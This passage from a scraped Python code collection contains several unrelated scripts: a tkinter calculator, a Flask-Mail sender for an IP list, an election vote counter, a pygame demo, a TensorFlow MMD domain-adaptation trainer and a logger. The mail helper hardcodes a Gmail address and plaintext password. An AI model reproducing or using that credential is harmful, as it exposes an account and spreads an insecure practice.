15, 'bold'), bd=0, width=27, justify=RIGHT, bg=\"light gray\", relief=RIDGE)\ndisplayText.grid(row=0, column=0, columnspan=4, pady=0)\ndisplayText.insert(0, \"0\")\n\n# Standard Calculator Buttons\nnumPad = \"789456123\"\nbutton = []\ni=0\n\nfor j in range(2,5):\n for k in range(3):\n button.append(Button(calculator, width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray3\", text=numPad[i]))\n button[i].grid(row=j, column=k, pady=0)\n button[i][\"command\"] = lambda x = numPad[i]: addedValue.enterNumber(x)\n i+=1\n \n# Buttons\n\nclearEntryButton = Button(calculator, text=chr(67)+chr(69), width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray4\", command = addedValue.clearEntry).grid(row=1, column=0, pady=0)\n\nclearAllButton = Button(calculator, text=chr(67), width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray4\", command = addedValue.clearAllEntry).grid(row=1, column=1, pady=0)\n\nsqrtButton = Button(calculator, text=chr(8730), width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray4\", command = addedValue.squared).grid(row=1, column=2, pady=0)\n\ndivideButton = Button(calculator, text=chr(247), width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray4\", command = lambda: addedValue.operation(\"divide\")).grid(row=1, column=3, pady=0)\n\nmultiplyButton = Button(calculator, text=chr(215), width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray4\", command = lambda: addedValue.operation(\"multiply\")).grid(row=2, column=3, pady=0)\n\nminusButton = Button(calculator, text=chr(45), width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray4\", command = lambda: addedValue.operation(\"sub\")).grid(row=3, column=3, pady=0)\n\nplusButton = Button(calculator, text=chr(43), width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray4\", command = lambda: addedValue.operation(\"add\")).grid(row=4, column=3, pady=0)\n\npmButton = Button(calculator, text=chr(177), width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray4\", command = addedValue.plusMinus).grid(row=5, column=0, pady=0)\n\nzeroButton = Button(calculator, text=chr(48), width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray3\", command = lambda: addedValue.enterNumber(0)).grid(row=5, column=1, pady=0)\n\ndotButton = Button(calculator, text=chr(46), width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray4\", command = lambda: addedValue.enterNumber('.')).grid(row=5, column=2, pady=0)\n\nequalsButton = Button(calculator, text=chr(61), width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"orange\", command = addedValue.sumOfTotal).grid(row=5, column=3, pady=0)\n\n# Scientific Calculator Buttons\n \npiButton = Button(calculator, text=chr(960), width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray4\", command = addedValue.pi).grid(row=1, column=5, pady=0)\n\nsinButton = Button(calculator, text=\"sin\", width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray4\", command = addedValue.sin).grid(row=1, column=6, pady=0)\n\ncosButton = Button(calculator, text=\"cos\", width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray4\", command = addedValue.cos).grid(row=1, column=7, pady=0)\n\ntanButton = Button(calculator, text=\"tan\", width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray4\", command = addedValue.tan).grid(row=1, column=8, pady=0)\n\n\ntwoPiButton = Button(calculator, text=\"2\"+chr(960), width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray4\", command = addedValue.pi).grid(row=2, column=5, pady=0)\n\nsinhButton = Button(calculator, text=\"sinh\", width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray3\", command = addedValue.sinh).grid(row=2, column=6, pady=0)\n\ncoshButton = Button(calculator, text=\"cosh\", width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray3\", command = addedValue.cosh).grid(row=2, column=7, pady=0)\n\ntanhButton = Button(calculator, text=\"tanh\", width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray3\", command = addedValue.tanh).grid(row=2, column=8, pady=0)\n\n\nlogButton = Button(calculator, text=\"log\", width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray4\", command = addedValue.log).grid(row=3, column=5, pady=0)\n\nexpButton = Button(calculator, text=\"exp\", width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray3\", command = addedValue.exp).grid(row=3, column=6, pady=0)\n\nmodButton = Button(calculator, text=\"mod\", width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray3\", command = lambda: addedValue.operation(\"mod\")).grid(row=3, column=7, pady=0)\n\neButton = Button(calculator, text=\"e\", width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray3\", command = addedValue.e).grid(row=3, column=8, pady=0)\n\n\nlog2Button = Button(calculator, text=\"log2\", width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray4\", command = addedValue.log2).grid(row=4, column=5, pady=0)\n\ndegButton = Button(calculator, text=\"deg\", width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray3\", command = addedValue.degrees).grid(row=4, column=6, pady=0)\n\nacoshButton = Button(calculator, text=\"acosh\", width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray3\", command = addedValue.acosh).grid(row=4, column=7, pady=0)\n\nasinhButton = Button(calculator, text=\"asinh\", width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray3\", command = addedValue.asinh).grid(row=4, column=8, pady=0)\n\n\nlog10Button = Button(calculator, text=\"log10\", width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray4\", command = addedValue.log10).grid(row=5, column=5, pady=0)\n\nlog1pButton = Button(calculator, text=\"log1p\", width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray4\", command = addedValue.log1p).grid(row=5, column=6, pady=0)\n\nexpm1Button = Button(calculator, text=\"expm1\", width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray4\", command = addedValue.expm1).grid(row=5, column=7, pady=0)\n\nlgammaButton = Button(calculator, text=\"lgamma\", width=6, height=2, font=('Arial', 15, 'bold'), bd=0, bg=\"SlateGray4\", command = addedValue.lgamma).grid(row=5, column=8, pady=0)\n\n\nscientificDisplayTitle = Label(calculator, text=\"Scientific Calculator\", font=('Helvetica', 20, 'bold', 'italic'), bg=\"gray\", padx=26, justify=CENTER)\nscientificDisplayTitle.grid(row=0, column=5, columnspan=4)\n\n# Menu & Functions\ndef exit():\n exit = tkinter.messagebox.askyesno(\"Calculator\", \"Are you sure you want to exit?\")\n if exit > 0:\n root.destroy()\n return\n\ndef standardCalc():\n root.resizable(width=False, height=False)\n root.geometry(\"311x348+0+0\")\n\ndef scientificCalc():\n root.resizable(width=False, height=False)\n\n root.geometry(\"624x348+0+0\")\n\n\nmenuBar = Menu(calculator)\n\n# Menu: File\nfileMenu = Menu(menuBar, tearoff=0)\nmenuBar.add_cascade(label=\"File\", menu=fileMenu)\nfileMenu.add_command(label=\"Standard\", command=standardCalc)\nfileMenu.add_command(label=\"Scientific\", command=scientificCalc)\nfileMenu.add_separator()\nfileMenu.add_command(label=\"Exit\", command=exit)\n\n# Menu: Edit\neditMenu = Menu(menuBar, tearoff=0)\nmenuBar.add_cascade(label=\"Edit\", menu=editMenu)\neditMenu.add_command(label=\"Cut\")\neditMenu.add_command(label=\"Copy\")\neditMenu.add_separator()\neditMenu.add_command(label=\"Paste\")\n\n# Menu: Help\nhelpMenu = Menu(menuBar, tearoff=0)\nmenuBar.add_cascade(label=\"Help\", menu=helpMenu)\nhelpMenu.add_command(label=\"View Help\")\n\nroot.config(menu=menuBar)\nroot.mainloop()","sub_path":"Calculator.py","file_name":"Calculator.py","file_ext":"py","file_size_in_byte":12726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"161710018","text":"from flask_mail import Mail, Message\n\ndef send_ip(app,ipfilename,ip_folder):\n\n mail_settings = {\n \"MAIL_SERVER\": 'smtp.gmail.com',\n \"MAIL_PORT\": 465,\n \"MAIL_USE_TLS\": False,\n \"MAIL_USE_SSL\": True,\n \"MAIL_SUPPRESS_SEND\": False,\n \"MAIL_USERNAME\": 'darcylabweb@gmail.com',\n \"MAIL_PASSWORD\": 'darcylab1'\n }\n\n\n\n app.config.update(mail_settings)\n mail = Mail(app)\n with app.app_context():\n msg = Message(subject=\"HD_eXplosion test\",\n sender=app.config.get(\"MAIL_USERNAME\"),\n recipients=[\"darcylabweb@gmail.com\"], # replace with your email for testing\n body=\"IP list is attached\")\n with app.open_resource(ip_folder) as fp:\n msg.attach(\n ipfilename,\n 'text/csv',\n fp.read())\n mail.send(msg)","sub_path":"app/email.py","file_name":"email.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"235829933","text":"# Add our dependencies \nimport csv \nimport os \n# Assign a variable for a file to load and the path \n# Direct path file load \n# file_to_load = 'Resources/election_results.csv'\n#Indirect path file load \nfile_to_load = os.path.join(\"Resources\",\"election_results.csv\")\n#Let's create a text file to analyze election data\nfile_to_save = os.path.join(\"analysis\", \"election_analysis.txt\")\n# Initialize a total vote counter \ntotal_votes = 0\n# Candidate Options and Votes \ncandidate_options = []\ncandidate_votes = {}\n# Tracking Winning Candidate, Vote Count and Percentage \nwinning_candidate = \"\"\nwinning_count = 0 \nwinning_percentage = 0 \n# Open the election results and read the file \n#two methods \n#1st method \n# election_data = open(file_to_load, 'r')\nwith open(file_to_load) as election_data:\n# To do: Read and Analyze the data here.\n file_reader = csv.reader(election_data)\n# Read and print the header row \n headers = next(file_reader)\n #Print each row in the csv file \n for row in file_reader:\n # Add to total vote count\n total_votes += 1\n # Print the candidate name for each row\n candidate_name = row[2]\n\n # If candidate does not match any existing candidate\n if candidate_name not in candidate_options:\n # Add it to the list of candidates\n candidate_options.append(candidate_name)\n # 2. Begin tracking that candidate's vote count. \n candidate_votes[candidate_name] = 0 \n # Add a vote to candidate's count\n candidate_votes[candidate_name] += 1\n\n# Save the results to our text file \nwith open(file_to_save, 'w') as txt_file:\n\n# Print the final vote count to the terminal \n election_results = ( \n f\"\\nElection Results\\n\"\n f\"------------------------\\n\"\n f\"Total Votes: {total_votes:,}\\n\"\n f\"------------------------\\n\")\n print(election_results, end =\"\")\n#Save the final vote count to the text file \n txt_file.write(election_results)\n\n # Determine the percentage of votes for each candidate by looping through the counts \n # 1. Iterate through the candidate list \n for candidate_name in candidate_votes: \n # 2. Retreive vote count of a candidate \n votes = candidate_votes[candidate_name]\n # 3. Calculate the percentage \n vote_percentage = float(votes)/float(total_votes) * 100\n # 4. Print the candidate name and percentage of votes. \n candidate_results = (\n f\"{candidate_name}: {vote_percentage: .1f}% ({votes:,})\\n\")\n\n# Print out winning candidate, vote count and percentage to the terminal \n print(candidate_results)\n\n# Save the candidate results to our text file \n txt_file.write(candidate_results)\n\n # Determine winning vote count and candidate\n # 1. Determine if votes are greater than winning count \n if (votes > winning_count) and (vote_percentage > winning_percentage):\n # 2. If true then set winning_count = votes and winning percent = vote percentage \n winning_count = votes \n winning_percentage = vote_percentage\n # 3. Set the winning candidate equal to the candidate's name \n winning_candidate = candidate_name\n# Print winning candidate's result to the terminal \n winning_candidate_summary = (\n f\"--------------------------\\n\"\n f\"Winner: {winning_candidate}\\n\"\n f\"Winning Vote Count: {winning_count: ,}%\\n\"\n f\"Winning Percentage: {winning_percentage: .1f}%\\n\"\n f\"---------------------\\n\")\n print(winning_candidate_summary)\n\n# Save the winning candidate name on text file \n txt_file.write(winning_candidate_summary)\n\n\n\n","sub_path":"Pypoll.py","file_name":"Pypoll.py","file_ext":"py","file_size_in_byte":3635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"438011119","text":"# import pygame module in this program\r\nimport pygame\r\n\r\n# activate the pygame library .\r\n# initiate pygame and give permission\r\n# to use pygame's functionality.\r\npygame.init()\r\n\r\n# create the display surface object\r\n# of specific dimension..e(500, 500).\r\nwin = pygame.display.set_mode((500, 500))\r\n\r\n# set the pygame window name\r\npygame.display.set_caption(\"Moving rectangle\")\r\n\r\n# marker current co-ordinates\r\nx = 200\r\ny = 200\r\n\r\n# dimensions of the marker\r\nwidth = 10\r\nheight = 10\r\n\r\n# velocity / speed of movement\r\nvel = 10\r\n\r\n# Indicates pygame is running\r\nrun = True\r\n\r\n# infinite loop\r\nwhile run:\r\n\t# creates time delay of 10ms\r\n\tpygame.time.delay(10)\r\n\r\n\t# iterate over the list of Event objects\r\n\t# that was returned by pygame.event.get() method.\r\n\tfor event in pygame.event.get():\r\n\r\n\t\t# if event object type is QUIT\r\n\t\t# then quitting the pygame\r\n\t\t# and program both.\r\n\t\tif event.type == pygame.QUIT:\r\n\t\t\t# it will make exit the while loop\r\n\t\t\trun = False\r\n\t# stores keys pressed\r\n\tkeys = pygame.key.get_pressed()\r\n\r\n\t# if left arrow key is pressed\r\n\tif keys[pygame.K_LEFT] and x > 0:\r\n\t\t# decrement in x co-ordinate\r\n\t\tx -= vel\r\n\r\n\t\t# if left arrow key is pressed\r\n\tif keys[pygame.K_RIGHT] and x < 500 - width:\r\n\t\t# increment in x co-ordinate\r\n\t\tx += vel\r\n\r\n\t\t# if left arrow key is pressed\r\n\tif keys[pygame.K_UP] and y > 0:\r\n\t\t# decrement in y co-ordinate\r\n\t\ty -= vel\r\n\r\n\t\t# if left arrow key is pressed\r\n\tif keys[pygame.K_DOWN] and y < 500 - height:\r\n\t\t# increment in y co-ordinate\r\n\t\ty += vel\r\n\r\n\r\n\t# drawing spot on screen which is rectangle here\r\n\tpygame.draw.rect(win, (255, 0, 0), (x, y, width, height))\r\n\r\n\t# it refreshes the window\r\n\tpygame.display.update()\r\n\r\n# closes the pygame window\r\npygame.quit()\r\n","sub_path":"pygame.py","file_name":"pygame.py","file_ext":"py","file_size_in_byte":1726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"415179337","text":"import tensorflow as tf\n\nimport numpy as np\nimport os\nimport glob\nfrom natsort import natsorted\nfrom termcolor import colored \nimport argparse\nfrom sklearn.metrics import roc_auc_score\nimport scipy.io\nimport time\n\nfrom load_data import *\nfrom model import *\n\nfrom functools import partial\n\n# generate the folder\ndef generate_folder(folder):\n import os\n if not os.path.exists(folder):\n os.makedirs(folder)\n\ndef compute_pairwise_distances(x, y):\n if not len(x.get_shape()) == len(y.get_shape()) == 2:\n raise ValueError('Both inputs should be matrices.')\n if x.get_shape().as_list()[1] != y.get_shape().as_list()[1]:\n raise ValueError('The number of features should be the same.')\n\n norm = lambda x: tf.reduce_sum(tf.square(x), 1)\n return tf.transpose(norm(tf.expand_dims(x, 2) - tf.transpose(y)))\n\n\ndef gaussian_kernel_matrix(x, y, sigmas):\n beta = 1. / (2. * (tf.expand_dims(sigmas, 1)))\n dist = compute_pairwise_distances(x, y)\n s = tf.matmul(beta, tf.reshape(dist, (1, -1)))\n return tf.reshape(tf.reduce_sum(tf.exp(-s), 0), tf.shape(dist))\n\n\ndef maximum_mean_discrepancy(x, y, kernel=gaussian_kernel_matrix):\n cost = tf.reduce_mean(kernel(x, x))\n cost += tf.reduce_mean(kernel(y, y))\n cost -= 2 * tf.reduce_mean(kernel(x, y))\n cost = tf.where(cost > 0, cost, 0, name='value')\n return cost\n\n# plot and save the file\ndef plot_loss(model_name,loss,val_loss, file_name):\n\tgenerate_folder(model_name)\n\tf_out = file_name\n\tfrom matplotlib.backends.backend_agg import FigureCanvasAgg\n\tfrom matplotlib.figure import Figure\n\tstart_idx = 0\n\tif len(loss)>start_idx:\n\t\ttitle = os.path.basename(os.path.dirname(file_name))\n\t\tfig = Figure(figsize=(8,6))\n\t\tax = fig.add_subplot(1,1,1)\n\t\tax.plot(loss[start_idx:],'b-',linewidth=1.3)\n\t\tax.plot(val_loss[start_idx:],'r-',linewidth=1.3)\n\t\tax.set_title(title)\n\t\tax.set_ylabel('Loss')\n\t\tax.set_xlabel('batches')\n\t\tax.legend(['D-loss', 'G-loss'], loc='upper left') \n\t\tcanvas = FigureCanvasAgg(fig)\n\t\tcanvas.print_figure(f_out, dpi=80)\n\ndef plot_auc_iterations(target_auc_list, val_auc_list, target_file_name):\n\timport matplotlib.pyplot as plt\n\tfrom matplotlib.backends.backend_agg import FigureCanvasAgg\n\tfrom matplotlib.figure import Figure\n\tfig_size = (8,6)\n\tfig = Figure(figsize=fig_size)\n\tfile_name = target_file_name\n\tax = fig.add_subplot(111)\n\tax.plot(target_auc_list)\n\tax.plot(val_auc_list)\n\ttitle = os.path.basename(os.path.dirname(file_name))\n\tax.set_title(title)\n\tax.set_xlabel('Iterations')\n\tax.set_ylabel('AUC')\n\tax.legend(['Test','Val'])\n\tax.set_xlim([0,len(target_auc_list)])\n\tcanvas = FigureCanvasAgg(fig)\n\tcanvas.print_figure(file_name, dpi=100)\n\ndef print_yellow(str):\n\tfrom termcolor import colored \n\tprint(colored(str, 'yellow'))\n\ndef print_red(str):\n\tfrom termcolor import colored \n\tprint(colored(str, 'red'))\n\ndef print_green(str):\n\tfrom termcolor import colored \n\tprint(colored(str, 'green'))\n\ndef print_block(symbol = '*', nb_sybl = 70):\n\tprint_red(symbol*nb_sybl)\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--gpu\", type=int)\nparser.add_argument(\"--lr\", type = float)\nparser.add_argument(\"--iters\", type = int)\nparser.add_argument(\"--bz\", type = int)\nparser.add_argument(\"--mmd_param\", type = float)\n\n\nargs = parser.parse_args()\ngpu_num = args.gpu\nbatch_size = args.bz\nnb_steps = args.iters\nmmd_param = args.mmd_param\nlr = args.lr\n\nif False:\n gpu_num = 6\n lr = 1e-5\n batch_size = 400\n nb_steps = 1000\n mmd_param = 10\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = str(gpu_num)\n# hyper-parameters\nnoise = 2.0\nsig_rate = 0.035\nsource_model_name = 'cnn-4-bn-True-noise-2.0-trn-100000-sig-0.035-bz-400-lr-5e-05-Adam-4.0k'\n# load source data\nsource = 'data/CLB'\ntarget = 'data/FDA'\nsource_model_file = os.path.join(source, source_model_name, 'source-best')\n\n# load source data\nnb_source = 100000\nXs_trn, Xs_val, Xs_tst, _, ys_val, ys_tst = load_source(train = nb_source, sig_rate = sig_rate)\nXs_trn, Xs_val, Xs_tst = np.random.RandomState(2).normal(Xs_trn, noise), np.random.RandomState(0).normal(Xs_val, noise), np.random.RandomState(1).normal(Xs_tst, noise)\nXs_trn, Xs_val, Xs_tst = (Xs_trn-np.min(Xs_trn))/(np.max(Xs_trn)-np.min(Xs_trn)), (Xs_val-np.min(Xs_val))/(np.max(Xs_val)-np.min(Xs_val)), (Xs_tst-np.min(Xs_tst))/(np.max(Xs_tst)-np.min(Xs_tst))\nXs_trn, Xs_val, Xs_tst = np.expand_dims(Xs_trn, axis = 3), np.expand_dims(Xs_val, axis = 3), np.expand_dims(Xs_tst, axis = 3)\nys_tst = ys_tst.reshape(-1,1)\n# load target data\nnb_target = 85000\nXt_trn, Xt_val, Xt_tst, _, yt_val, yt_tst = load_target(dataset = 'total', train = nb_target)\nXt_trn, Xt_val, Xt_tst = (Xt_trn-np.min(Xt_trn))/(np.max(Xt_trn)-np.min(Xt_trn)), (Xt_val-np.min(Xt_val))/(np.max(Xt_val)-np.min(Xt_val)), (Xt_tst-np.min(Xt_tst))/(np.max(Xt_tst)-np.min(Xt_tst))\nXt_trn, Xt_val, Xt_tst = np.expand_dims(Xt_trn, axis = 3), np.expand_dims(Xt_val, axis = 3), np.expand_dims(Xt_tst, axis = 3)\nyt_tst = yt_tst.reshape(-1,1)\n\nDA = 'data/{}-{}'.format(os.path.basename(source), os.path.basename(target))\ngenerate_folder(DA)\nbase_model_folder = os.path.join(DA, source_model_name)\ngenerate_folder(base_model_folder)\n# copy the source weight file to the DA_model_folder\nDA_model_name = 'mmd-{0:}-lr-{1:}-bz-{2:}-iter-{3:}'.format(mmd_param, lr, batch_size, nb_steps)\nDA_model_folder = os.path.join(base_model_folder, DA_model_name)\ngenerate_folder(DA_model_folder)\nos.system('cp -f {} {}'.format(source_model_file+'*', DA_model_folder))\n\nif source_model_name.split('-')[0] == 'cnn':\n\tnb_cnn = int(source_model_name.split('-')[1])\nelse:\n\tnb_cnn = 4\n\nif source_model_name.split('-')[2] == 'bn':\n\tbn = bool(source_model_name.split('-')[3])\nelse:\n\tbn = False\n\nxs = tf.placeholder(\"float\", shape=[None, 109,109, 1])\nys = tf.placeholder(\"float\", shape=[None, 1])\nxt = tf.placeholder(\"float\", shape=[None, 109,109, 1])\nyt = tf.placeholder(\"float\", shape=[None, 1])\n\nconv_net_src, h_src, source_logit = conv_classifier(xs, nb_cnn = nb_cnn, fc_layers = [128,1], bn = bn, scope_name = 'source')\nconv_net_trg, h_trg, target_logit = conv_classifier(xt, nb_cnn = nb_cnn, fc_layers = [128,1], bn = bn, scope_name = 'target')\n\nsource_vars_list = tf.trainable_variables('source')\nsource_key_list = [v.name[:-2].replace('source', 'base') for v in tf.trainable_variables('source')]\nsource_key_direct = {}\nfor key, var in zip(source_key_list, source_vars_list):\n\tsource_key_direct[key] = var\nsource_saver = tf.train.Saver(source_key_direct, max_to_keep=nb_steps)\n\ntarget_vars_list = tf.trainable_variables('target')\ntarget_key_list = [v.name[:-2].replace('target', 'base') for v in tf.trainable_variables('target')]\ntarget_key_direct = {}\nfor key, var in zip(target_key_list, target_vars_list):\n\ttarget_key_direct[key] = var\ntarget_saver = tf.train.Saver(target_key_direct, max_to_keep=nb_steps)\n\nwith tf.variable_scope('mmd'):\n sigmas = [1e-6, 1e-5, 1e-4, 1e-3, 1e-2, 1e-1, 1, 5, 10, 15, 20, 25, 30, 35, 100, 1e3, 1e4, 1e5, 1e6]\n gaussian_kernel = partial(gaussian_kernel_matrix, sigmas=tf.constant(sigmas))\n loss_value = maximum_mean_discrepancy(h_src, h_trg, kernel=gaussian_kernel)\n mmd_loss = mmd_param*tf.maximum(1e-4, loss_value)\n\ngen_step = tf.train.AdamOptimizer(lr).minimize(mmd_loss, var_list=target_vars_list)\n\nD_loss_list = []\ntest_auc_list = []\nval_auc_list = []\n\n## model loading verification\nwith tf.Session() as sess:\n\ttf.global_variables_initializer().run(session=sess)\n\tsource_saver.restore(sess, source_model_file)\n\ttarget_saver.restore(sess, source_model_file)\n\t# source to source (target loading)\n\tprint_yellow('>>>>>> Check the Initial Source Model Loading <<<<<<')\n\ttest_source_logit_source = source_logit.eval(session=sess,feed_dict={xs:Xs_tst})\n\ttest_source_stat_source = np.exp(test_source_logit_source)\n\ttest_source_AUC_source = roc_auc_score(ys_tst, test_source_stat_source)\n\tprint_yellow('Source loading: source-source:{0:.4f} '.format(test_source_AUC_source))\n\t# source to source (target loading)\n\ttest_source_logit = target_logit.eval(session=sess,feed_dict={xt:Xs_tst})\n\ttest_source_stat = np.exp(test_source_logit)\n\ttest_source_AUC = roc_auc_score(ys_tst, test_source_stat)\n\t# source to target (target loading)\n\ttest_target_logit = target_logit.eval(session=sess,feed_dict={xt:Xt_tst})\n\ttest_target_stat = np.exp(test_target_logit)\n\ttest_target_AUC = roc_auc_score(yt_tst, test_target_stat)\n\tprint_yellow('Target loading: source-source:{0:.4f} source-target {1:.4f}'.format(test_source_AUC, test_target_AUC))\n\n# nd_step_used = nd_steps\n# ng_step_used = ng_steps\nsess = tf.Session()\nwith tf.Session() as sess:\n\ttf.global_variables_initializer().run(session=sess)\n\tsource_saver.restore(sess, source_model_file)\n\ttarget_saver.restore(sess, source_model_file)\n\tfor iteration in range(nb_steps):\n\t\tindices_s = np.random.randint(0, Xs_trn.shape[0], batch_size)\n\t\tbatch_s = Xs_trn[indices_s,:]\n\t\tindices_t = np.random.randint(0, Xt_trn.shape[0], batch_size)\n\t\tbatch_t = Xt_trn[indices_t,:]\n\t\t_, D_loss = sess.run([gen_step, mmd_loss], feed_dict={xs: batch_s, xt: batch_t})\t\n\t\t#testing\n\t\ttest_source_logit = source_logit.eval(session=sess,feed_dict={xs:Xs_tst})\n\t\ttest_source_stat = np.exp(test_source_logit)\n\t\ttest_source_AUC = roc_auc_score(ys_tst, test_source_stat)\n\t\ttest_target_logit = target_logit.eval(session=sess,feed_dict={xt:Xt_tst})\n\t\ttest_target_stat = np.exp(test_target_logit)\n\t\ttest_target_AUC = roc_auc_score(yt_tst, test_target_stat)\n\t\tval_target_logit = target_logit.eval(session=sess,feed_dict={xt:Xt_val})\n\t\tval_target_stat = np.exp(val_target_logit)\n\t\tval_target_AUC = roc_auc_score(yt_val, val_target_stat)\n\t\t# print results\n\t\tprint_block(symbol = '-', nb_sybl = 60)\n\t\tprint_green('AUC: T-test {0:.4f}, T-valid {1:.4f}; S-test: {2:.4f}'.format(test_target_AUC, val_target_AUC, test_source_AUC))\n\t\tprint_yellow('MMD loss :{0:.4f}, Iter:{1:}'.format(D_loss, iteration))\n\t\t# save results\n\t\tD_loss_list.append(D_loss)\n\t\ttest_auc_list.append(test_target_AUC)\n\t\tval_auc_list.append(val_target_AUC)\n\t\tprint_yellow(os.path.basename(DA_model_folder))\n\t\tplot_loss(DA_model_folder, D_loss_list, D_loss_list, DA_model_folder+'/loss_{}.png'.format(DA_model_name))\n\t\tnp.savetxt(os.path.join(DA_model_folder,'test_auc.txt'), test_auc_list)\n\t\tnp.savetxt(os.path.join(DA_model_folder,'val_auc.txt'), val_auc_list)\n\t\tnp.savetxt(os.path.join(DA_model_folder,'MMD_loss.txt'),D_loss_list)\n\t\tplot_auc_iterations(test_auc_list, val_auc_list, DA_model_folder+'/AUC_{}.png'.format(DA_model_name))\n\t\t# save models\n\t\ttarget_saver.save(sess, DA_model_folder +'/target')\n","sub_path":"FDA/archive200617/mmd_DA_0.py","file_name":"mmd_DA_0.py","file_ext":"py","file_size_in_byte":10484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"126889013","text":"# -*- coding: utf-8 -*-\r\n# @Time : 2021\\2\\5 0005 13:56\r\n# @Author : JacksonCui\r\n# @File : Dologs.py\r\n# @Software: PyCharm\r\n\r\nimport logging, os\r\nimport logging.config\r\nfrom Project.Common.FilePath import logger_path\r\n\r\n\r\nclass Logger(object):\r\n \"\"\"\r\n 封装好的Logger工具\r\n \"\"\"\r\n\r\n def __init__(self, logPath=logger_path):\r\n \"\"\"\r\n initial\r\n \"\"\"\r\n log_path = logPath\r\n logging.addLevelName(20, \"INFO:\")\r\n logging.addLevelName(30, \"WARNING:\")\r\n logging.addLevelName(40, \"ERROR:\")\r\n logging.addLevelName(50, \"ERROR:\")\r\n logging.basicConfig(level=logging.DEBUG,\r\n format=\"%(levelname)s %(asctime)s %(message)s\",\r\n datefmt=\"%Y-%m-%d %H:%M:%S\",\r\n filename=log_path,\r\n filemode=\"a\"\r\n )\r\n console = logging.StreamHandler()\r\n console.setLevel(logging.DEBUG)\r\n formatter = logging.Formatter(\"%(levelname)s %(message)s\")\r\n console.setFormatter(formatter)\r\n logging.getLogger(\"\").addHandler(console)\r\n\r\n def debug(self, msg=\"\"):\r\n \"\"\"\r\n output DEBUG level LOG\r\n \"\"\"\r\n logging.debug(str(msg))\r\n\r\n def info(self, msg=\"\"):\r\n \"\"\"\r\n output INFO level LOG\r\n \"\"\"\r\n logging.info(str(msg))\r\n\r\n def warning(self, msg=\"\"):\r\n \"\"\"\r\n output WARN level LOG\r\n \"\"\"\r\n logging.warning(str(msg))\r\n\r\n def exception(self, msg=\"\"):\r\n \"\"\"\r\n output Exception stack LOG\r\n \"\"\"\r\n logging.exception(str(msg))\r\n\r\n def error(self, msg=\"\"):\r\n \"\"\"\r\n output ERROR level LOG\r\n \"\"\"\r\n logging.error(str(msg))\r\n\r\n def critical(self, msg=\"\"):\r\n \"\"\"\r\n output FATAL level LOG\r\n \"\"\"\r\n logging.critical(str(msg))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n testlog = Logger()\r\n try:\r\n lists = []\r\n print(lists[1])\r\n except :\r\n # raise Exception('123')\r\n testlog.exception(\"execute task failed. the exception as follows:\")\r\n exit(1)\r\n","sub_path":"Common/Dologs.py","file_name":"Dologs.py","file_ext":"py","file_size_in_byte":2148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"650755699","text":"\"\"\"\nMiscellaneous util functions.\n\n\"\"\"\n\nfrom __future__ import (absolute_import, division, print_function)\n\nimport numpy as np\n\n\nepsilon = 1.e-5\n\n\ndef point_in_tri(face_points, point, return_weights=False):\n \"\"\"\n Calculates whether point is internal/external\n to element by comparing summed area of sub triangles with area of triangle\n element.\n\n \"\"\"\n sub_tri_areas = np.zeros(3)\n sub_tri_areas[0] = _signed_area_tri(np.vstack((face_points[(0, 1), :],\n point)))\n sub_tri_areas[1] = _signed_area_tri(np.vstack((face_points[(1, 2), :],\n point)))\n sub_tri_areas[2] = _signed_area_tri(np.vstack((face_points[(0, 2), :],\n point)))\n tri_area = _signed_area_tri(face_points)\n\n if abs(np.abs(sub_tri_areas).sum()-tri_area)/tri_area <= epsilon:\n if return_weights:\n raise NotImplementedError\n # weights = sub_tri_areas/tri_area\n # weights[1] = max(0., min(1., weights[1]))\n # weights[2] = max(0., min(1., weights[2]))\n # if (weights[0]+weights[1]>1):\n # weights[2] = 